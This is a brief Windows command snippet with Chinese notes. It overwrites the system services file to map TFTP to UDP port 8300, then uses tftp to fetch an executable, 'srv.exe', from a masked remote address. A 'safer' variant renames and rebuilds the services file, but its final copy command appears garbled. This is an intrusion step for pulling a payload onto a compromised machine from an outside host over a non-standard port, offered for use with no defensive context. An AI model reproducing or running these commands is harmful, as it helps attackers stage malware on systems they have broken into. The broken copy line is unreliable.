echo tftp 8300/udp > %systemroot%\system32\drivers\etc\services tftp -i xxx.xxx.xxx.xxx get srv.exe 注意:请先把tftp服务端端口设定为与自定义端口一样的,这里是8300。 安全点的做法: ren %systemroot%\system32\drivers\etc\services 1 echo tftp 8300/udp >2 copy 2+%systemroot%\system32\drivers\etc %systemroot%\system32\drivers\etc\services |